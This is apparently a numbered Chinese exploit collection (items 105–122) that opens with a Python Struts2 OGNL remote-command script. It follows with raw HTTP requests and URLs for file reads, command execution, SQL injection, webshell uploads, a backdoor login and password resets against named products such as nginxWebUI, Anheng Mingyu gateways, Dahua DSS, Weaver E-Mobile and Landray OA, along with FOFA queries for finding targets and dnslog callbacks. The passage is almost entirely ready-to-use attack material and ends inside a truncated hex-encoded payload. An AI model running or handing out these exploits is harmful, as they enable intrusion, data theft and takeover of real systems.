# -*- coding: utf-8 -*-
# Usage: python3 exp.py <url> <cmd>
import requests
import http.client
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
requests.packages.urllib3.disable_warnings()

def exploit(url, cmd):
	payload = "%{(#_='multipart/form-data')."
	payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
	payload += "(#_memberAccess?"
	payload += "(#_memberAccess=#dm):"
	payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
	payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
	payload += "(#ognlUtil.getExcludedPackageNames().clear())."
	payload += "(#ognlUtil.getExcludedClasses().clear())."
	payload += "(#context.setMemberAccess(#dm))))."
	payload += "(#cmd='%s')." % cmd
	payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
	payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
	payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
	payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
	payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
	payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
	payload += "(#ros.flush())}"

	try:
		headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
		page = requests.post(url, headers=headers, verify=False, stream=True).text
	except http.client.IncompleteRead as e:
		page = e.partial.decode('utf-8')
	print(page)

	return page


if __name__ == '__main__':
	import sys

	if len(sys.argv) != 3:
		print("[*] exp.py <url> <cmd>")
	else:
		print('[*] Start!')
		url = sys.argv[1]
		cmd = sys.argv[2]
		print("[*] cmd: %s\n" % cmd)
		exploit(url, cmd)

105、LiveBos ShowImage.do文件imgName参数读取漏洞

LiveBOS(简称LiveBOS)是顶点软件股份有限公司开发的一个对象型业务架构中间件及其集成开发工具。LiveBos ShowImage.do文件imgName 参数存在文件读取漏洞，攻击者可以获取大量敏感信息。

Condition: body=”LiveBos” || body=”/react/browser/loginBackground.png”

relative: req0
session: false
requests:
- method: GET
timeout: 10
path: /feed/ShowImage.do;js.jsp?type=&imgName=../../../../../../../../../../../../../../../etc/passwd
headers:
	User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64)AppleWebKit/537.36 (KHTML,like Gecko) Chrome/69.0.1141.87 Safari/537.36
follow_redirects: true
matches:(code.eq("200") && body.contains( "home/livebos")&& body.contains("root:"))

106、nginxWebUI 远程命令执行漏洞

EXP1：

GET /AdminPage/conf/runCmd?cmd=id%26%26echo%20nginxn HTTP/1.1
Host: 10.10.10.143:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.10.10.143:8080/
Cookie: SOLONID=221d626a4eef4ee1b6bd3244b0025a58
Upgrade-Insecure-Requests: 1

EXP2：

POST /Api/nginx/runNginxCmd HTTP/1.1
Host: 10.10.10.143:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 17
Origin: http://10.10.10.143:8080
Connection: close
Referer: http://10.10.10.143:8080/adminPage/remote
cmd=id%26%26nginx

EXP3：

GET /AdminPage/conf/reload?nginxExe=ping%20r17iws.dnslog.cn%20%7C HTTP/1.1
Host: 10.10.10.143:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: http://10.10.10.143:8080
Connection: close
Referer: http://10.10.10.143:8080/adminPage/remote

107、OfficeWeb365 SSRF 文件上传漏洞

来源：微步公开信息

漏洞信息：

https://x.threatbook.com/v5/vul/180be5ace0a318c29e8bad110a53dfc3212d4b59c19682bd66bbaee4866f1562603ebef4f1ba2105d79705f38bb6e9c2

详情信息：

需要提前准备 2 个文件，一个 ashx 和一个 txt 文件

将这两个文件打包为 2.zip，然后起一个 http 服务提供给网站远程下载

然后访问?furl=http://你的公网服务器/2.zip

随后即可发现网站对该 zip 进行了下载和解压，这里可以预览 txt 格式文件获取 zippath 参

数的值

然后 ashx 文件的地址即为：

1	http://x.x.x.x/cache/office/x.x.x.x.x/82308141956519700010097_486/2.ashx

108、安恒明御 SQL注入

1	/caztbweb/VisitorWeb/VisitorWeb_XMLHTTPaspx?ParentCode=1'

109、安恒明御安全网关rce

GET /webui/?g=aaa_portal_auth_local_submit&bkg_flag=0&$type=1&suffix=1|echo+"
<%3fphpteval(\$_POST[\"a\"]) ;?>"+>+.xxx.php HTTP/1.1
Host: xxx
Cookie: USGSESSID=495b895ddd42b82cd89a29f241825081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_16_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


shell：http://xxxx/webui/.xxx.php


FOFA：body="/webui/images/basic/login/" && title=="明御安全网关"
POC:
GET /webui/?g=aaa_portal_auth_local_submit&bkg_flag=0&suffix=%7Burlenc(%60id+%3E/usr/local/webui/test.txt%60)%7D HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded

路径：http://www.example.com/test.txt
直接命令执行返回root

110、安恒明御安全网关远程代码执行漏洞

首先发送get请求：

1	https://localhost/sslvpn/sslvpn_client.php?client=logoImg&img=6drcdfs34c1h /tmp \|\| whoami \| tee /etc/hosts /usr/local/webui/webui/images/basic/login/main_logo21.txt \|\| ls

请求完毕后会将img后面的参数再页面中进行回显：

1	6drcdfs34c1h /tmp \|\| whoami \| tee /etc/hosts /usr/local/webui/webui/images/basic/login/main_logo21.txt \|\| ls

然后再次发送下面的get请求即可得到命令的执行结果

1	https://localhost/webui/images/basic/login/main_logo21.txt

111、安恒明御安全网关远程代码执行漏洞

漏洞描述:信息安全管理系统(ISMS)是IDC/ISP业务经营者建设的具有基础数据管理、访问日志管理
信息安全
管理等功能的信息安全管理系统，该漏洞可未授权的情况下直接执行任意命令

112、大华 DSS 视频管理平台任意文件读取漏洞

1	/portal/itc/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd

113、大华 DSS 视频管理平台远程命令执行

POST /portal/login_init.action HTTP/1.1
Host:
Content-Length: 279
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().cear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" boundary=----WebKitFormBoundaryXx80aU0pu6vrsV3z
Referer: http://127.0.0.1:8080/struts2-showcase/fileupload/upload.action
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=8B365C019F676093D27D8C0D21439C2B
Connection: close

------WebKitFormBoundaryXx80aU0pu6vrsV3z
Content-Disposition: form-data; name="upload"; filename="2.txt"
Content-Type: text/plain

asd
------WebKitFormBoundaryXx80aU0pu6vrsV3z
Content-Disposition: form-data; name="caption"

1
------WebKitFormBoundaryXx80aU0pu6vrsV3z—

114、大华 ICC 智能物联综合管理平台后门用户

使用账户 justForTest 登陆，密码任意，即可进入后台

115、大为 lnnojet 知识产权协同创新管理系统管理员密码重置

访问下列路径直接进入密码重置界面

1	http://.../resetPwd.html?guid=IWBI9HveWf01GlDm+je0Ec+qvHyI7F5bjy3kRC2uESwC0+KPmTxUsgHqj+lUuY0F061yruzA+jkZFb9hhNqPhw%3D%3D

116、泛微 E-Mobile Download.jsp 远程代码执行

1	/mobile/plugin/Download.jsp?sessionkey=1' EXEC sp_configure 'show advanced options',1 RECONFIGURE EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE exec master..xp_cmdshell'ping 4a9c47b1.dnslog.click

117、泛微历史sql漏洞

影响版本为泛微oa9.0
(1)/E-mobile/flowdo_page.php?diff=delete&RUN_ID=1  //参数RUN_ID
(2)/E-mobile/flowdo_page.php?diff=delete&flowid=1  //参数flowid
(3)/E-mobile/flowsorce_page.php?flowid=2
(4)/E-mobile/flownext_page.php?diff=candeal&detailid=2
(5)/E-mobile/flowimage_page.php?FLOW_ID=2
(6)/E-mobile/flowform_page.php?FLOW_ID=2
(7)/E-mobile/diaryother_page.php?searchword=23
(8)/E-mobile/create/ajax_do.php?diff=word&sortid=1       //参数sortid
(9)/E-mobile/create/ajax_do.php?diff=word&idstr=2       //参数idstr
(10)/E-mobile/flow/freeflowimg.php?RUN_ID=1             
(11)/E-mobile/create/ajax_do.php?diff=addr&sortid=1     //参数sortid
(12)/E-mobile/create/ajax_do.php?diff=addr&userdept=1  //参数userdept
(13)/E-mobile/create/ajax_do.php?diff=addr&userpriv=1 //参数userpriv
(14)/E-mobile/create/ajax_do.php?diff=wordsearch&idstr=1  //参数idstr
(15)/E-mobile/flow/flowhave_page.php?detailid=2,3
(16)/E-mobile/flow/flowtype_free.php?flowid=1
(17)/E-mobile/flow/flowtype_free.php?runid=1
(18)/E-mobile/flow/flowtype_other.php?flowid=1
(19)/E-mobile/flow/flowtype_other.php?runid=1
(20)/E-mobile/flow/freeflowimage_page.php?fromid=2
(21)/E-mobile/flow/freeflowimage_page.php?diff=new&runid=2  //参数runid

118、华测监测预警系统任意文件读取漏洞

POST /Handler/FileDownLoad.ashx HTTP/1.1
Host:
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Origin:
Content-Length: 40
Content-Type: application/x-www-form-urlencoded

filename=1&filepath=..%2F..%2Fweb.config

119、华测监测预警系统数据库泄露漏洞

1	/web/Report/Rpt/Config/Config.xml

120、金蝶 EAS 系统存在目录遍历漏洞

1	/appmonitor/protected/selector/server_file/files?folder=C:%5C%5C&suffix=

121、蓝凌 eis 8.0 前台任意文件上传

POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: *.*.*.*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh; q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip,deflate
Connection:close
Cookie: ASP.NET_SessionId=jh3g1b45deo2ny55kmxl4355;Lang=zh-cn
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZUtvHzp8FchbbUUn
Content-Length: 483

-----WebKitFormBoundaryZUtvHzp8FchbbUUn
Content-Disposition: form-data;name="file"filename="test.asp"
Content-Type:text/html

<% 此处放上你都jsp马%>
-----WebKitFormBoundaryZUtvHzp8FchbbUUn--

122、蓝凌oa文件上传

# 蓝凌



1、接口上传带马的zip包（aaa绕waf）

```
POST /sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo&s_ajax=true HTTP/1.1
X-Real-IP: 
X-Forwarded-For: 
Host: 
X-Forwarded-Proto: https
X-B3-TraceId: a22c34f91eb9bd9e1326b3cc54aa23e9
X-B3-SpanId: a22c34f91eb9bd9e1326b3cc54aa23e9
Content-Length: 500817
Content-Type: multipart/form-data; boundary=********************1692085217190
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Pragma: no-cache
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

--********************1692085217190
Content-Disposition: form-data; name="aa"
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
--********************1692085217190
Content-Disposition: form-data; name="file"; filename="data.zip"
Content-Type: application/x-zip-compressed

PK... ... .%.W            .   /. PK..    .       PK... ... .%.W            
   component.ini.L.-.H.M-..K.M...PK..S....   .   PK... ... .%.W            .   logs.jsp]..
.@.E.... .l.\k]T.n../.c.#m.i.-....E.nB....O.5F.Q..3d/.)U.b........!GA...g8
..g."..{./PAm.<..OG...i
\^.B... .q.u.......z..)..B.~8...p..i'bz....mg..K....d..Kl..;+.....WRh.m0Y. PK....f..   ..  PK... . ... .%.W    .       .                 /PK... . ... .%.WS....   .   
             1   component.iniPK... . ... .%.W..f..   ..  .             }   logs.jspPK..    . . .   e.    
--********************1692085217190--

HTTP/1.1 200 
Date: Tue, 15 Aug 2023 07:45:36 GMT
Content-Length: 39
Connection: keep-alive
Access-Control-Allow-Origin: *
Content-Security-Policy: default-src * 'unsafe-inline' 'unsafe-eval'
X-XSS-Protection: 0
Pragma: No-cache
Cache-Control: no-cache,no-store,max-age=0
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: SESSION=MjRmMGU0YmUtMmE0Yy00YjA0LTk3ZGQtZjQ5OGQwODQ4ZWM5; Path=/; HttpOnly; SameSite=Lax
X-Auth-Token: 24f0e4be-2a4c-4b04-97dd-f498d0848ec9
Set-Cookie: SERVERID=357e46e5f6aa75f389927a23b666915b|1692085536|1692085536;Path=/

{"directoryPath":"themes","status":"1"}
```

2、接口传参访问马

```
POST /resource/ui-component/themes/logs.jsp HTTP/1.1
X-Real-IP: 
X-Forwarded-For: 
Host: 
X-Forwarded-Proto: https
X-B3-TraceId: 2b5ccdfac376359b2f4ead71fe65db9d
X-B3-SpanId: 2b5ccdfac376359b2f4ead71fe65db9d
Content-Length: 42500
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: SESSION=OWM5MjdiYjYtMjJjNy00OTlkLWJjNTktMTE1NDI3ZDhjMTc0; SERVERID=357e46e5f6aa75f389927a23b666915b|1692085247|1692083970
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded

file1=76617220636c6173734c6f61646572203d206a6176612e6c616e672e5468726561642e63757272656e7454687265616428292e676574436f6e74657874436c6173734c6f6164657228293b7472797b636c6173734c6f616465722e6c6f6164436c6173732827636f6d2e666173746572786d6c2e747970792e43616c656e6461725574696c7327292e6e6577496e7374616e636528293b7d6361746368202865297b76617220636c73537472696e67203d20636c6173734c6f616465722e6c6f6164436c61737328276a6176612e6c616e672e537472696e6727293b7661722062797465636f6465526177203d20272d356865353538677170777462726a7a7076676463743036646f6e34653967726e307437626b70687973373075677369336d656a6e6172356e72306e6b646e7670336271306b36636330637076306d6b74723863303533396f7a68647871686133796c646473653632397079683868353734387278347a64336b6f70686b6b377a68797662636d377431687670687a7a726d78703162316c6f6c7734366d3274673469376864626f696978706c6531676a346c32357a6e786d6b7066326638786131727a6d377677316864676e6c7934656632726673777a646572616b74626f3375746e376a64786f776c71696539677a31616b6437787374346d33616f6c756b3933713162626171663877653670737771337169306b3566686870666236386c317a6a3763786d746832743079396c7974657a3377753674646c6d3931397167666b72656a6e356f7a333433336c6c64386d706c31367a786138716c6466303371716f79636339713962306f363475756a7277676c626a6631716230676b6737786d6166683671366a6f756768397064626e6a36616f3372323234656f66626936646e6d3076396c706c363371346d746a676e326f686c676177756e31666239766769656e7667716c7475756535666e326b717862716c673071676365757273766534313575396c38656270726a363673307475686461757879797266716b76316237686b3663777633726465377133676677757a337967756f6c36676f786d396e677779693261386f346362703834647a6e68786c683561356c7669726a6e346634373768766e6c64633977756b356162386e62763869307268626476736c7332726b346979613066786f6d34676f64786d6375706a6f66356962667530706f62333361306f6d6339767261777633746832736b616b31646b3366653361336178656177626d3634796f6a796a306e30306663746c6b7a6974656a6b7771336e67666a7337696f66746369666b666c7473637563763630627678693032363065783332696373773579357a6e303263657671646f64683939686a75303969356c353562727032736731646e796e6861756e686738357035627a3164616273706161383478363473686a383961736737766f657874636d676f35677869393567647a39667838686a696632617374756166386f747534677a717071627567346234327a6e6a6674627a72676f6a3174386267793461633073676e30726d6d68396a783370337a7278733275746c7165706733313474736c75307030347267647562323475676879766a726162677a61756d7868347638657939626672336e747a6c39316f7169676e68637462323739336965323166347962736870733075346a30696e776e67706d6f65393375306933766771396e76786e346f6769786879736a6d747168676c6b73743338393632633174306f78343863386d3062726c6568667a32747075366e727369743171716862626d736639716a6f6a62367a34727732666e376f777339307830706c6d307136776b713571306831746b6138626863346576626c367733347578796d7966766e3734676573696671667a74326b36786131796370666975386379703664756f69627266696d666834377361316d657676757164757770647a6f33326f7a6379697675756370673236656b7174766f376e776d6d326d6d6e6a7762756f6470736c6d6f3171373471726b35367a363365636872783878727671356f7765356662627773387234377433756f7136376a6f72356b396f6c6f657a3264307261326a616c366975776c327a756a37386168386f37707673766b706935353563623375363077616c6f39726e32686664737167756730676833676a7769756c6e377a30356869686771756a6e74356e66696e6c726a35797067676f37327373316e6c6874396b3668686f656765616b7a3777647174737233696374367962757863347a30743962626b6475376f6a733866697062356769723372346f6d76777864626c36723966736b616c6a6d3765706b31336532326c3869396a3035743637317476326a38637766373037723133663373306d383579656663763734356f31736c32767569737866377a3669757765346565647867786e766d3378396963703432617a31337861373879736979776c7a6d633167333963716b786861773276686a64696b6e33733277686b6638656464753130683670776b6d7338666b70656e68717373786a7a6270333635696f39666c746c6b7066307874696975696f79346e69666a33636b67756c316f66337334773272356b3475646868317a7679686464396377396e366a30676f6c72737264337a6c33346e6430673164723572393533766f726e673837386a6b39666361387562767a6c69636838326d387a716b67376c6a656938626c7a697963357935656d7437323168756d726233793679686b77646c386f303931696e7a376378787837333238717637656a397075383371753139376e6a74757a7672353661306177336d7567756d656465663835787070397932733939623066347331777a786b6e643766776d753839796e6a68357a366d6a7365673267696b3275346563346c306b78766479343765366a62736f3831756378716d6b3933726332307138746d733732787a6262756d7075753169616c37646337646372336a7930666a623675687878786e74626c307161646e7871696d6b346e6c67707771713665686377633267796b6c796c32636877666d74766b317331666a6a6d7932776777737a6e697431373135676a6d793562313331336a6836386a797a6378776d687535753564706e643374376b6b37667a336c716739737567636b34716939386d726b36703063737379713333703768343339333874653163716e756870327164747a62306174776b3267363676613265676e3663787466377672736e347a64306369376d336f7472776a6f347962363476686630716c69676c72326639707774663678387675316c32756a656b6761337463396b65673372687735396e3374646531706c356c6e6e34667a3266397a3164646d6a746975387067737674686d6a6a7431676c3868386d30676b7938396b7833377762617a6c77633239797732696d3331376d6d7770707a6d63363266336962667179743477306f35636e716a3535716d796e7432373430736d303977696877726d696f68316a6d76373770657232657372706f6263723573377939686c7a7862356930336b75333271316f6e373168746737676f7633687131383532737a6274736f69716d6e6d6c3470703469696869316c6d366d6e3431307734687a71676f7963306f6c746b77767365776f316c69726332697670396832316c663535746366626435383532686f62306a696e3568656c3271697270753430376d6c7a726a3576376a6375616a3779756879366e75696f6f736c766279756567326f696e65386d32386d78676b77736d6c6c7171736d73643776613572743935666235346b7369336735763630336276706130736e3138397a6d786631376a7061616a3979666d78316f306f37747a72753074353735686e793374336e76667466757630697533636c68366f63656e6e6d36656b766369316b70713873386a766c36667971376e6a32756232626d6673696677316e386a7061746e6c306168617a61687130616e7436723632763961336470767368687461366f397065766b6930736b733275636c77686963656e396f3777643039687433716f796379697577636637326176796d623168637a376a3269616665736e756630656b79656c707a7936767079736f3031667472763575363776336c6f767a6a65786572763271713068356a706f69333872663877656c7965353132366539363064696a3679786931746170616962686a396836687066307a706c35373379646662783363327065363030757661666a75386f736d7565307163363862706639656b6d67683634776764317a71383077343939356f7775727739736e7779316e6d6339733163786f666e7a7a70703666636238686a3079777671756e71346569396a6f6e6d38747a7370376a773668743334383873717176743034696b7979376c77647577636f77616132366430766f6c61777a39637a61666d3870626f7562647438676570716668356c6b336c7039726674667266763631666a7a6d38797a68766e7272396c697a6464706a7266763178346375786669747a3569657878623969336e646a6869363570397a6371396963653336757377773370376b736474623636647335376d66697a796662356c70316a71667079766e617231726575797572773038666431356c70313468346c6e727630697330316c6f613470666b3577396479307674717931336a3168327a64353278356b696e3764317a3234376f773838386a6e6138367a63367838366c65743161356e656663363870636f30647167716d6e6c34306d686d65616f75316371797569357634646f656735706235733738317237786478673574386f33657633756a33636f6f36736462686d676a6674796e33336f3661656e6c776e667337356d346f6f3231316f76356d6f6c34306d3277656330343137746b3535733572796136786272786b737a7a6d646f733967346c3779686f3569716a666b716a656b7034626d696d39677067636273707a626164706a6a64367769617a636f38796a746d776179616d74386276377a64667a6b673969783076756a71397261753236386961346f71383032786e6f7076656f79303367396c797a6d3567613432327335787a647061366a6f3838706836613233757a6176756161697a6e73626f646a696b357666377631747439307a757077783876793261726b6c6f36326e787a69797775386873316c356a707175706a6339686f676e66683464716975347766616576636b66386b66306d6434323378786378336d7768706b636438326931736b70657863316b6c6363326169766168617376387779677a6a7566646b726b363875346f66636b3770336c6f366c7a6b75336767333072676c316572763775736f6737387872706c3164396931357a626b75793771786a723231306674706e7277397a616f6178306e72626a63736b6865767963763432316f78726c6f32316a657a356c6b71686335636936737a333265657331377239706773333479617874356338626262347632306468676437366e697869777579787937347579306564347238316165703137727472737475356c38346d746f706c686b303438666f65716c746e39796c65796b30766c726277736379706570776b646466786238786a766e73336a666f3777766f7638756e346a74756d7971677573366339357062363168706c356b30636731766a73776e70786f726a357662696539337a666e62777168617331716d7378386c3339666a73666e65326d7876676135626e6d3472706a317a67657a346a6d643172747368776d74316b363364616a6f38656f666b756f31653033376366706b36697867676a6f35647164327a76373939386332356d696d777479626777306573346d75333066757036673436337a337174667938656d6b726576727a77766a373278616c6d74366e6d6469366474626d676437633373737a38776f696e3131397a77697534346d796430686e306d37616c6279356378656d31397538356173617931766e7578333777343935693173386a396c34667977706b363470643275796d6b6a3738716a61666a787665766e71737068737a7477373967786c6b74623477736f7262616f61746f616e3061707969356565336f6775397434316371377a647270627877663478713777716174333231306b356b65737a7067633879637a6431717730637a30766673653865773163786e646c6169386d6f33616565386c71356667646f76376833787475633671306270756a7564696b77736d776d743063693875677570666a38696f307063336f6663366b6b7070706a71777a31627677736a646b736e3066397571796f336d62676a6f396776786539657936356f386f75696f75396b35753735747130796f7a6175796d36333175787431786c3075757772686c6c6a6b3474796a6f61336330756f756d367835693677687434727573787062697464657661677174797571323076736a6b6278326d3033307078317461636e396b3971693566746535726c69706d6770373977336666627779646a62376d63303030796e66713269626f7369756c76336d70376d377032756d7675396a71343363326b327470356171766174676c7073796a39363836613463746a656835663531736c313764346f346d6c7461783871373074366d65796e66333874687079336d6d373137666761637275356564716e7363626d697877306674317038696d6d67327377386f663471636670766a65386663377537746b67797835363336656e386b69736f6433696a387376786b74646769633432756c623237323574376a7172757370756d756f616e72646a74396d3361706f3535376663766e35376a6462326470756a66366d6c66633268716d7339787770733534676a626f6c30786662793072336470663230766233696f687070717a616137316465787465616966303773676366356d6e6865727a687a6b786a38666364636f65366c39327a6234693574303669656570626f35667a716735306830746262706c67356e776d3574663436377473307a68677938657463667a39386365397961386b35396c64696d6567316f737638316a707636313874706a33667a636778616f7639327a62646c3566337235666874667271377668623335393234657a646c687073643430673975783875787267677861716f63363231773967617a776578767178633335373571747931616f396f75363532356e3837696d6a747871616b7a38673531386b3273327130716a7474746a7061333078356c3636616476776571646f736b6664797277397a366f7a61366b676f6b7835386d773366346f6b7734787030627537686d746a6f6a746f7174717468756c697361717574376236316c7539693062306a33357a6a6e64317035743961306a68703669656e6f78616c616f70787a3468663971613863376f6e7332636b39646464786264757a6176353667683874756276326833336278317965343867373364706169756a366362307a397663616a73323773677270623572693433316938326439386d706b63616b336e7a6e357968356a3663726d366968396f3337366e3271633675366b7573706c663332636475326932646c6c6f61786632706c3434313635316a6b366537346532696b3963367379646c3337307861396671753361323565693779653639347675796f7a627061756766676f767979326866716e79637773656f6e357439746b6b7a62317a397373726b31356b34797034783372676d6b7473307632306f6b7a387430707a32786b62767a39376d717535637079686c7173766b623071356d656f6f6d68397a307163717932656938306c6c796f75773434677667656b6272676e757868306b39706e65666e7134396f6d3178756430716e36336573696c66613131666e756b68657a7871636f626c3370686e6a6c3966396d7232316f6f35306a33756f396a30316f3232656f687a646d786e766d32696b76397167386b79327163617464326831747a7a736572337934613975336d6730653665686b6c3776767a693233316a6d756d66776f6633356d366164623465747a6b3668627563666662656c383731786676316e6d6f613934716471367530617565696d796774696e73317569757161647431706179636d7665333963327a68796d6e6b363572316736757665386f6f30776e6e32706b67756c6c6869357430733537756931773473706637366168756f6574643135696d71676f6a6f623564696665306534636a6978787365706a7963346b6a6e766966337031397a63356962363679706a6b736539726c357238616d366f6e757072306575316238326e783038643479376834706665697a6f716c6b3531737578397262787468326466667a68787878306d68326734667773353233746379346d65776f643378757075703368696c3464323072736d6e7762326468343437637830386e736c6f6a68777839393778767439333364696d787867353133677474327a647365677378686438723337396533356d76776565677a387367627a637065716d306b39646d6466797a7162636738626f726b3072716c6d64616476756c63676c64736e78726f6a796c7a696176713239757a626d6c766c693130646b79666f67706b6a69307979386c666d357838637a626e673333716278656f687431793532636a6f33326a676c6535793174737871303262346c63696a6f326f363230327a326162753163756773763637686c6b343063687266656b68696a6465637939397936636836767479726661633679656e713874683665396930696c6969326f70753534343564616c7877367777376f73767274733139396d7a69376c71353738627564737275777566396f73326975393073636272377770357269356b736c6431776f346e7a6976336e66723876736b687262617871696778767167377569306a6d777a7536377231716c6b3363773432763671787a6b777a6373676474377430786e6b316e3170326e3135753467796978397567336e6a30307a6b736b77656c79316b68386d67616b696761307a6439637236776c3535316d677435766637713732736d6574307a7376666974336431326a6b796439317a6d6d6e7a667261756569766934716f717435693573326f6b706268736c786662386f366b6d69313174796b306273626f3166386f663076323779646c62656a36303379666e376d78777364786b6d6e67716a7a35667462326d33396f3878746138786e6e35656f346c72736f6535386e33657075317436646c747a336937713972387a31706668376d77647336616f36627a7168396c3172617334713231746174656f3831346775783775357a64316d336a33613736706166313934766f713075336b6f68327676676a303064656561306b66706773726c72676565396c3073366b7564673971316166396c73626b64737531657a747465666e36646f696a347a6c716c64626d6b703637317732796e3073626839697238343238717774786e66323236327362696b6e6e7664336a6468316c6264386f666269706a6a30327064617a777536376c673439333774786273756f726b7938796c6b726d3430683976666f6a34676f7075703630643567763135346b383037646f7a6c383638346a7a736b686d7a386d666865747a667166686d386f79626b776732677764786f78323875386f696d6f6d737274706f6a6e756d6968657671773236787934717233663479706a68636b6933357a346f7073776830787737646a3838796168366579686b73786f736a6462627a61326f7a307a333139626b74323063367a7a6c6a6a776334736c73316f77786e7470627732663270637677746c7a343963657a34316e7237306a70377a736e666e7062303577647637316778737967616e7073627372777a616239796f6d30656979683734686a79323575776d79646d757071756f3138747676386e776b786a356664763171666d75713331786d67306d3632736467663438307a647363387474647670657767697a6f336662796f6e796b62737578636962383875773930616d6b7874756664796433667077666f6566716d776a67707561346c3030376c63676b3138763361787975726d7a646b733472636c6c78316c306e6633336e706c6678317a6d77617a306b3937316d6e79327776723765617077646a6132387a6b64616b3670616e3271653876306b687368756271637561346d306632376c35387563396a30767032346530716d30756e6575707170307835776530656465726739656d663274756f6937796f786b6474736e626539637973776d6d6433697439326f6577697632667162307069387364716563767a69617a6d67636474306570703031696233366d386a3439666370